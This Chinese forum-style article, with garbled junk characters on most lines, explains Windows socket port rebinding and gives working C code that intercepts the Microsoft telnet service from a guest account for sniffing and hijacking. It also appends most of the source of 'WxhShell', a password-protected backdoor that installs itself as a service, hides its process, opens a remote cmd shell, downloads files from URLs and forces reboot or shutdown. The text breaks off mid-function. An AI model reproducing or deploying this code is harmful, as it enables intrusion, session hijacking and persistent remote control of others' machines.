在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Dp;6CGYl? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RA:3ZV 4nD U-P#f saddr.sin_family = AF_INET;
hODq&9! F t;[>o saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BA`K ,#Ft7 2]_fNCNLN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$&FeR*$|g MMyJAGh
^G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8'VcaU7Nh h~.z[ 这意味着什么?意味着可以进行如下的攻击:
PLQLGb4f_; 6$\'dkufQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
w*IDL0# X[$FjKZh=F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L[}Ak1 A 6cTd
SE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Eh.NJI( @l@erCw@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+r 8/\'u- ?&$BQK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;
Ne|H$N Y2P%0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
l#!6
tw+e? +Am\jsq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
KOVR=``"/ R}0!F2 #include
mI3
\n #include
f VpE&F #include
(-hGb: #include
5c6?$v/ DWORD WINAPI ClientThread(LPVOID lpParam);
yxL(mt8 int main()
HpR(DG)
? {
nB#XQ8Nzx^ WORD wVersionRequested;
nrRP1`!]T DWORD ret;
;Km74!.e7 WSADATA wsaData;
f]]UNS$AYQ BOOL val;
>jg"y SOCKADDR_IN saddr;
OVU+V 0w1a SOCKADDR_IN scaddr;
rI;tMNs int err;
g+/m:(7[s| SOCKET s;
|Fp+9U SOCKET sc;
4xzoA'Mb@ int caddsize;
&265
B_'D HANDLE mt;
N Uo DWORD tid;
SR*KZ1U wVersionRequested = MAKEWORD( 2, 2 );
U|)CZcM err = WSAStartup( wVersionRequested, &wsaData );
_Rm1-,3 if ( err != 0 ) {
Ce!xa\ printf("error!WSAStartup failed!\n");
'(yjq< return -1;
NT<vs"<B }
DjveMs$d saddr.sin_family = AF_INET;
n 8'#'^| K}9 c$C4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VL| q`n Z-rHYfa4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
TAKvE=a; saddr.sin_port = htons(23);
hScC<=W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eaCh;IpIf {
!5=S2<UX printf("error!socket failed!\n");
}J|Pd3Q Sf return -1;
I&|J +B?# }
y:ad%,. C val = TRUE;
~SR9*< //SO_REUSEADDR选项就是可以实现端口重绑定的
>m4Q*a4M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/m(v5v7( {
5.zv0tJku printf("error!setsockopt failed!\n");
%<[U\TL` return -1;
b*W01ist }
8$V:+u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MtKM#@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'MY0v_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vZ/Bzy@| a?ux if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>`=<(8bu {
e)A-.SRiO$ ret=GetLastError();
RGV}c# printf("error!bind failed!\n");
< r7s,][& return -1;
o-r00H| }
I/ V`@*/+ listen(s,2);
WHKe\8zWq while(1)
?)?}^ {
#Zt(g( T caddsize = sizeof(scaddr);
e|S_B*1*0 //接受连接请求
B4 +A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U)iq if(sc!=INVALID_SOCKET)
s\3OqJo%) {
fsz:A"0H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
jltW@co2sV if(mt==NULL)
Y;[+ ^J*a {
vvmG46IgZ printf("Thread Creat Failed!\n");
6Us*zKgW break;
U3b&/z|b? }
}?^5L7n }
P1I L] CloseHandle(mt);
:DoE_ }
w-wap closesocket(s);
~"}o^#@DwJ WSACleanup();
c-q=Ct return 0;
8D6rShx = }
G"D=ozr DWORD WINAPI ClientThread(LPVOID lpParam)
WI}cXXUKm0 {
caXSt2|' SOCKET ss = (SOCKET)lpParam;
&$8YW]1M SOCKET sc;
~zph,bk unsigned char buf[4096];
EaUO>S SOCKADDR_IN saddr;
#d;/Me long num;
4"~l^yK DWORD val;
Z|6,*XEc DWORD ret;
=Cg1I\ //如果是隐藏端口应用的话,可以在此处加一些判断
L wP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
['jr+gIfQ saddr.sin_family = AF_INET;
-0f,qNF saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZYo?b"6A saddr.sin_port = htons(23);
b>x03% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R8C#DB {
M"
R=;n printf("error!socket failed!\n");
`Tk GI0q return -1;
M~,N~ N1 }
&"'Z)iWm val = 100;
uN+]q qCf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"^NsbA+ {
4I!g?Moh ret = GetLastError();
Z)'gj return -1;
w:c9Z=KX }
Z,1b$:+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~>B`T%=H {
r}i}4K[1 ret = GetLastError();
45.Vr[FS. return -1;
8~ wP? }
pxb4x#CC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8KMo !p\i {
t+Au6/Dx? printf("error!socket connect failed!\n");
|*n
B2 closesocket(sc);
,Vfjt=6]} closesocket(ss);
kY^ k*-v return -1;
"X,*VQl: }
/_qW?LKG/ while(1)
W*r1Sy {
&(X 67 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L25%KGg'o //如果是嗅探内容的话,可以再此处进行内容分析和记录
)18C(V-x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ToX--w4 num = recv(ss,buf,4096,0);
Jp"yb`w if(num>0)
o1Nfn'!3/> send(sc,buf,num,0);
LDh,!5G-M else if(num==0)
Yan}H}Oq break;
9Yd"Y- num = recv(sc,buf,4096,0);
`lA_knS if(num>0)
:JIJ!Xn) send(ss,buf,num,0);
0)rayzv else if(num==0)
u\Y3h:@u break;
H*HL:o-[ }
SZ1yy[" closesocket(ss);
6_g:2=6S closesocket(sc);
X.+|o@G return 0 ;
5
BLAa1 }
\>[k0< b} FhC"'i %ty`Oa2 ==========================================================
7KL@[ WS//0 下边附上一个代码,,WXhSHELL
6uIgyO*;k +E-CsNAZ*" ==========================================================
$:RR1.Tv {"c`k4R #include "stdafx.h"
6/6{69tnr otbr8&?- #include <stdio.h>
nzU;Bi^m #include <string.h>
j]C}S*`" #include <windows.h>
'P)c'uqd# #include <winsock2.h>
X& mD/1 #include <winsvc.h>
H3LuRGe&2 #include <urlmon.h>
b|e1HCH gY!?JZC-0 #pragma comment (lib, "Ws2_32.lib")
{5]c\_. #pragma comment (lib, "urlmon.lib")
72 ZoN<c h"7~`!"~ #define MAX_USER 100 // 最大客户端连接数
2N{^V?: #define BUF_SOCK 200 // sock buffer
4W#DLip9 #define KEY_BUFF 255 // 输入 buffer
+{0v@6<(02 >&ENrvaJ #define REBOOT 0 // 重启
0f#xyS 3 #define SHUTDOWN 1 // 关机
?Wc+
J4 [kf6bf@ #define DEF_PORT 5000 // 监听端口
9yz@hdG ?j&ZzK'#^ #define REG_LEN 16 // 注册表键长度
|A\o #define SVC_LEN 80 // NT服务名长度
25 cJA4 ?|~KF:,#} // 从dll定义API
z69u@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8u%,5GV>Xr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yLPP6_59$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
09qfnQG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y"L |D,ex ,0c]/Sd*p // wxhshell配置信息
pu5%$}dBE struct WSCFG {
q@g#DP+C int ws_port; // 监听端口
fN/;BT char ws_passstr[REG_LEN]; // 口令
(&Rql7](8 int ws_autoins; // 安装标记, 1=yes 0=no
SlG^ H char ws_regname[REG_LEN]; // 注册表键名
$[Q;{Q char ws_svcname[REG_LEN]; // 服务名
67XUhnE char ws_svcdisp[SVC_LEN]; // 服务显示名
1'N<ITb char ws_svcdesc[SVC_LEN]; // 服务描述信息
v*OV\h. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!_FTy^@c2 int ws_downexe; // 下载执行标记, 1=yes 0=no
.yDGw Lry char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/b\c<'3NY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1R;@v3 TF9A4 };
nRvaCAt^
yj=OR|v // default Wxhshell configuration
E]v?:!!ds struct WSCFG wscfg={DEF_PORT,
mx#%oJnsi "xuhuanlingzhe",
S*gm[ZLQ 1,
9c%CCZ "Wxhshell",
\t5_V)P "Wxhshell",
\E[6wB>uN% "WxhShell Service",
e{9~m "Wrsky Windows CmdShell Service",
\B^NdG5Y "Please Input Your Password: ",
Q :.i[ 1,
_a f $0! "
http://www.wrsky.com/wxhshell.exe",
cUr!U\X[ "Wxhshell.exe"
SU1N*k#-o };
?4oP=. c/igw+L() // 消息定义模块
vZW[y5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8+J>jZ char *msg_ws_prompt="\n\r? for help\n\r#>";
r6kJV4I=re char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DJ*mWi. char *msg_ws_ext="\n\rExit.";
ANNVE}, char *msg_ws_end="\n\rQuit.";
9ln=f= char *msg_ws_boot="\n\rReboot...";
)ki
Gk}2 char *msg_ws_poff="\n\rShutdown...";
^`B;SSV char *msg_ws_down="\n\rSave to ";
=H3tkMoi2 Oi zj|' char *msg_ws_err="\n\rErr!";
z1]nC]2 char *msg_ws_ok="\n\rOK!";
8d2\H*a9~ S~hu(x# char ExeFile[MAX_PATH];
f%i%QZP int nUser = 0;
8*x=Fm,Ok HANDLE handles[MAX_USER];
YYT#{>& int OsIsNt;
+g kJrw [uK{``" SERVICE_STATUS serviceStatus;
}Z{FPW.QK SERVICE_STATUS_HANDLE hServiceStatusHandle;
!l=)$RJKdD {z\K!=X/ // 函数声明
lZuH:AH int Install(void);
-7]j[{?w int Uninstall(void);
YSB=nd_ int DownloadFile(char *sURL, SOCKET wsh);
T2/:C7zL int Boot(int flag);
!n` |k void HideProc(void);
gb|;]mk*" int GetOsVer(void);
IxS%V31 int Wxhshell(SOCKET wsl);
46pR!k void TalkWithClient(void *cs);
7~F~ 'V int CmdShell(SOCKET sock);
~\8(+qIv%f int StartFromService(void);
i/skU9 int StartWxhshell(LPSTR lpCmdLine);
KPI96P 3h:y[Vm#9y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gnjhy1o VOID WINAPI NTServiceHandler( DWORD fdwControl );
N'WC!K.e /`7+Gy< // 数据结构和表定义
|35OA/O?X SERVICE_TABLE_ENTRY DispatchTable[] =
'A^q)hpax {
[61*/=gWe {wscfg.ws_svcname, NTServiceMain},
2aX*|DGpw {NULL, NULL}
f*B-aj# };
yi*EobP ~D>pu%F // 自我安装
KX]!yA int Install(void)
3F@P$4!#l {
Eh ";irE char svExeFile[MAX_PATH];
W7
dSx HKEY key;
BV`\6SM~ strcpy(svExeFile,ExeFile);
=#,`k<v%I M:{Aq&. // 如果是win9x系统,修改注册表设为自启动
E_aBDiyDf if(!OsIsNt) {
Y*PfU+y~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g_`a_0v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!{(Bc8
hT RegCloseKey(key);
CUYA:R<) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hcwfe=K&/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^a_a%ws RegCloseKey(key);
4k-Ak6s return 0;
8\!E )M|4 }
%^HE^ & }
fO&`A:JY }
y:}qoT_. else {
z-606g -PAEJn5$O // 如果是NT以上系统,安装为系统服务
|Ia9bg'1U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QcW8A ,\q if (schSCManager!=0)
Wz s=BNm9 {
eF22 ~P SC_HANDLE schService = CreateService
cl2_"O (
#}FUa u$ schSCManager,
[GI~ & wscfg.ws_svcname,
5N;'CAk wscfg.ws_svcdisp,
Mh4MaLw
SERVICE_ALL_ACCESS,
(=Cb)/s0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(X,i,qK/ SERVICE_AUTO_START,
%&yPl{ SERVICE_ERROR_NORMAL,
)\=xPfs svExeFile,
{V2"Pym? NULL,
]FZPgO'G NULL,
P+}~6}wJE NULL,
ft6)n T/"& NULL,
kuy?n-1g NULL
j*G: 8Lg );
{]<c6*gQ if (schService!=0)
\agZD+ {
,M;9|kE* CloseServiceHandle(schService);
nYjrEy)Q CloseServiceHandle(schSCManager);
R-S<7Q3E0= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#%\0][Xf strcat(svExeFile,wscfg.ws_svcname);
xBVOIc[4( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BZ?C k[E]Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|cf-S8pwY RegCloseKey(key);
`a4&_`E,p return 0;
PY.K_(D }
hOUH1m. }
KU/r"lMNlU CloseServiceHandle(schSCManager);
'R79,)|;[ }
:xPo*#[Z(A }
7TMq#Pb d"9tP&
Q return 1;
M}x%'=Pox }
**Ioy+ iVI& // 自我卸载
r
|C.K int Uninstall(void)
3-
Kgz {
w}>%E6UY HKEY key;
4SJ aAeIZ B#Ybdp ; if(!OsIsNt) {
bTc>-e, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lD0-S0i RegDeleteValue(key,wscfg.ws_regname);
k.ou$mIY RegCloseKey(key);
X3l>GeUi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2!J#XzR0W RegDeleteValue(key,wscfg.ws_regname);
II=`=H{ RegCloseKey(key);
I?3b}#&V9 return 0;
F,wB6Cw }
'F/oR/4, }
v'@gUgC }
UhDQl%&He else {
]- 1(r, 9{jMO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0\tac/ if (schSCManager!=0)
AygdAg'\ {
0Idek SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m4hkV>$d if (schService!=0)
6DHK&<=D8 {
SH{@yS[c! if(DeleteService(schService)!=0) {
Cdz&'en^ CloseServiceHandle(schService);
_Sr7b#)o CloseServiceHandle(schSCManager);
rUb{iU;~m return 0;
lPR=C0h}@ }
szsVk#p CloseServiceHandle(schService);
a|7C6#iz$ }
2d[q5p CloseServiceHandle(schSCManager);
L1SKOM$ }
.KA-=$~J1 }
bkV<ZUW|; >zW2w2O3 return 1;
j~-N2b6z }
pux IJ #Q8_:dPY // 从指定url下载文件
,<rC,4-F< int DownloadFile(char *sURL, SOCKET wsh)
Z@0tZ^V{ {
@Z~YFnEJi HRESULT hr;
\G gh 95y char seps[]= "/";
OTXZdAv char *token;
5~[7|Y char *file;
_nMd char myURL[MAX_PATH];
I@cw=_EQL char myFILE[MAX_PATH];
3x+lf4" ZbYC3_7w strcpy(myURL,sURL);
E )_n?>Ar token=strtok(myURL,seps);
}
{1IB while(token!=NULL)
,>a!CnK= {
j&d5tgLB file=token;
, _e[P token=strtok(NULL,seps);
M}\h?s }
P8z%*/
3NF ,eyh%k*hz GetCurrentDirectory(MAX_PATH,myFILE);
8_('[89m strcat(myFILE, "\\");
O
k`}\NZL strcat(myFILE, file);
yJ $6vmQ send(wsh,myFILE,strlen(myFILE),0);
_re# b? send(wsh,"...",3,0);
4Hj)Av<O( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
( eTrqI` if(hr==S_OK)
Dp([r return 0;
%F 2h C
x else
{rKC4: return 1;
h3?>jE=H fN&\8SPE }
/+Z*)q+SbT WO qDW~ // 系统电源模块
a2Ak?W1 int Boot(int flag)
-l= 4{^pK {
w|9 >4 HANDLE hToken;
"2cOS PpQL TOKEN_PRIVILEGES tkp;
8fXiadP# }=-0DSLVj if(OsIsNt) {
'=_(fa, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
yvYMk(LSF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~[ufL25K tkp.PrivilegeCount = 1;
B0@
Tz39= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M =^d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
a^%iAe if(flag==REBOOT) {
pm6#azQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
eY<<Hld return 0;
o$No@~%v }
1h$?, else {
8o~
NJ 6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<mn[- return 0;
aK_5@8+ZD }
lfgJQzi
G }
:21d else {
RA0;f'"` if(flag==REBOOT) {
) D@j6r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+{:uPY#1 return 0;
cb}zCl
j o }
*[[Gu^t^! else {
d0(zB5'} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
E4X6f return 0;
l f>/ }
k =! Q }
~:DL{ZeEb xKUL}>8 return 1;
6
VEB2F }
h&0zR#t cC/h7odY // win9x进程隐藏模块
2HeX( rB void HideProc(void)
b$_81i {
7gC?<;\0 !.vyzCJTzB HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r:H]`Uo'r if ( hKernel != NULL )
. &^p@A~ {
6w^P{%ul pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( /]'e} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z8SwW<{ $ FreeLibrary(hKernel);
2v{WX }
FLi'}C &A0OYV3i. return;
CHgip&(.F }
U{2xgNJ i~';1
.g // 获取操作系统版本
P 9?cp{* int GetOsVer(void)
qf? "v; {
(]]hSkE OSVERSIONINFO winfo;
!xsfhLZK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
h( | T. GetVersionEx(&winfo);
u$T]A8e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}3#\vn0gT return 1;
RjWwsC~B else
Q %o@s3~O return 0;
:iE b^F} }
`ASDUgx Mq J K/{IkF // 客户端句柄模块
As,`($= int Wxhshell(SOCKET wsl)
fL*7u\m: {
N5?bflY SOCKET wsh;
^k6_j\5j struct sockaddr_in client;
?ko#N?hgI DWORD myID;
!5ps,+o Os9SfL while(nUser<MAX_USER)
s)-oCT$[ {
TQ"XjbhU;X int nSize=sizeof(client);
t`o"K wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VF?H0}YSHb if(wsh==INVALID_SOCKET) return 1;
^j}C]cq{Xg "^]gI Qc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
F6\{gQ<E if(handles[nUser]==0)
J^7m?mA closesocket(wsh);
>=@-]X2%j else
&N}"4 nUser++;
KIF9[/P }
}1#m+ (; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}_+XN"}C !^arWH[od return 0;
lod+]*MD }
bn*:Bn1 zx#Gm=H4 // 关闭 socket
_(m72o0g>> void CloseIt(SOCKET wsh)
07 LyB\l~ {
qTuR[( closesocket(wsh);
F.vRs|fk nUser--;
#T)Gkc"{ ExitThread(0);
pCKP{c=6Q }
^6W}ZLp YSnh2 Bq // 客户端请求句柄
J9T2 p\5 void TalkWithClient(void *cs)
7@c!4hmrU {
Myc-lCE $LXa] SOCKET wsh=(SOCKET)cs;
XCM!8x?K char pwd[SVC_LEN];
Jm4uj&}3 char cmd[KEY_BUFF];
Y'/6T]a char chr[1];
\[G'cE int i,j;
I!/32* s1t zhJeTctRz while (nUser < MAX_USER) {
Gk:fw#R ";/]rwHa) if(wscfg.ws_passstr) {
k3Yu"GY^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
* F!B4go //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6P{bUom? //ZeroMemory(pwd,KEY_BUFF);
dk&F?B{6T i=0;
}3z3GU8Q- while(i<SVC_LEN) {
?b_E\8'q] ,hzRqFg2 // 设置超时
+`>7cy%cZ fd_set FdRead;
$yO B- struct timeval TimeOut;
k^7!iOK2 FD_ZERO(&FdRead);
*R6lK& FD_SET(wsh,&FdRead);
S*l/
Sa@ TimeOut.tv_sec=8;
,:Px(=d4 TimeOut.tv_usec=0;
u|<?mA! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ed'[_T}T3t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
CPZ{ INndTF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#Y= A#Yz,{ pwd
=chr[0]; 67EGkW?hbt
if(chr[0]==0xd || chr[0]==0xa) { >nkVZ;tL
pwd=0; FG${w.e<
break; k8 #8)d
} TQB)
A9
i++; MZ38=nJ
} bidFBldKl
bd/A0i?C
// 如果是非法用户,关闭 socket a8xvK;`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qT?{}I
} W* LC3B^
t|@5,J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {t;o^pUF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &YIL As^8A
M~zI;:0O
while(1) { O/eZ1YAC
?;tPqOs&
ZeroMemory(cmd,KEY_BUFF); 2P:X_:`~[
->ZP.7
// 自动支持客户端 telnet标准 s8
WB!x {t
j=0; Y%i<~"k
while(j<KEY_BUFF) { 56C8)?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !$Uo$?gC
cmd[j]=chr[0]; ij]UAJ}t
if(chr[0]==0xa || chr[0]==0xd) { Dbn~~P
cmd[j]=0; ]I*RuDv}
break; k _t|)
J
} aQoB1qd8
j++; Q7x[08TI
} 1V,@uY)s
fDr$Wcd~
// 下载文件 '6zZ`Ll9
if(strstr(cmd,"http://")) { ]j0+4w
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {^oohW -
if(DownloadFile(cmd,wsh)) "e-z2G@z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); knO
X5UnS
else gb,ZN^3<-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ltOS()[X
} g:uVl;>
else { J *LPv9)
L\mF[Kd#+T
switch(cmd[0]) { ?EUg B\
La6
9or
// 帮助 r QzdHA
case '?': { !v2/sq$G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `GE8?UO-
break; [w}- )&c
} sd4eG
// 安装 D@p{EH
case 'i': { Kjbk
zc1
if(Install()) Sk
EI51]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9o,Eqx4J
else 2:Yvr_L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zwq\m.h
break; emQc%wd{
} DWtITO>
// 卸载 M?8sy
case 'r': { 3^KR{N p
if(Uninstall()) 7mSNz.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWx<J3~q.
else L%H\|>k`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MO0t
break; ((Av3{05H&
} ta95]|z"j
// 显示 wxhshell 所在路径 {zZ)JWM<w
case 'p': { &wDZ@{h
char svExeFile[MAX_PATH]; `BZ|[
q3
strcpy(svExeFile,"\n\r"); :PV3J0pB~
strcat(svExeFile,ExeFile); S\ak(<X
send(wsh,svExeFile,strlen(svExeFile),0); ok6t|
7sq
break; Gt{%O>P8t
} {_tq6ja-<
// 重启 0J?443AY
case 'b': { @V>]95RX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ms3"
if(Boot(REBOOT)) Qz=e'H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OfrzmL<K
else { v,opyTwG|
closesocket(wsh); $<nD-4p
ExitThread(0); S.[L?uE~F
} B _ J2Bf
break; e
6wevK\
} @ddCVxd
// 关机 @D[+@N
case 'd': { &@xm< A\S
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )
YB'W_
if(Boot(SHUTDOWN)) Q|[^dju
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }!xc@
else { MMO/vJC
closesocket(wsh); WUauKRR.
ExitThread(0); %>/&&(BE
} xjD$i'V+
break; K:e[#b8:R
} S*n5d >;
// 获取shell 5(2 C
case 's': { Tcv/EST
CmdShell(wsh); {li
Q&AZ
closesocket(wsh); AaU!a
ExitThread(0); #"oLz"{
break; i<$?rB!i<1
} 3w>1R>7
// 退出 C/
VHzV%q
case 'x': { gc I<bY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {oAD;m`
CloseIt(wsh); Hxy=J
break; tSni[,4Kq
} [c;0eFSi2
// 离开 63'%+
case 'q': { cjtcEW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1Z?uT[kR
closesocket(wsh); oNYFbZw
WSACleanup(); Vo[.^0
exit(1); cSv;HN:
break; E3{kH
7_'\
} Vug[q=i
} 'I}wN5`
} H`k
YDp
v6wg,,T
// 提示信息 >B``+Z^2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pm9sI4S
} A.yIl`'UP#
} t(vyi
\'zloBU
return; Z6M
qcAJ3j
} +t-_FbFh3D
%jx<<hW
// shell模块句柄 ci+ajON
int CmdShell(SOCKET sock) >`[+24e
{ &*8.%qe;
STARTUPINFO si; $mf O:%
ZeroMemory(&si,sizeof(si)); g0QYBrp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H>D?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n@H;*nI|
PROCESS_INFORMATION ProcessInfo; K[?@nl?,z
char cmdline[]="cmd"; Wcm'E3c,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }!r
pH{y
return 0; ~Hd* Xl
} g/FT6+&T.
Kc@Sw{JR#7
// 自身启动模式 ~-G_c=E?
int StartFromService(void) 7wY0JS$fz
{ rmC7!^/
typedef struct Rxr?T-
{ eu]qgtg~U
DWORD ExitStatus; a6A~,68/V
DWORD PebBaseAddress; 3&"uf9d
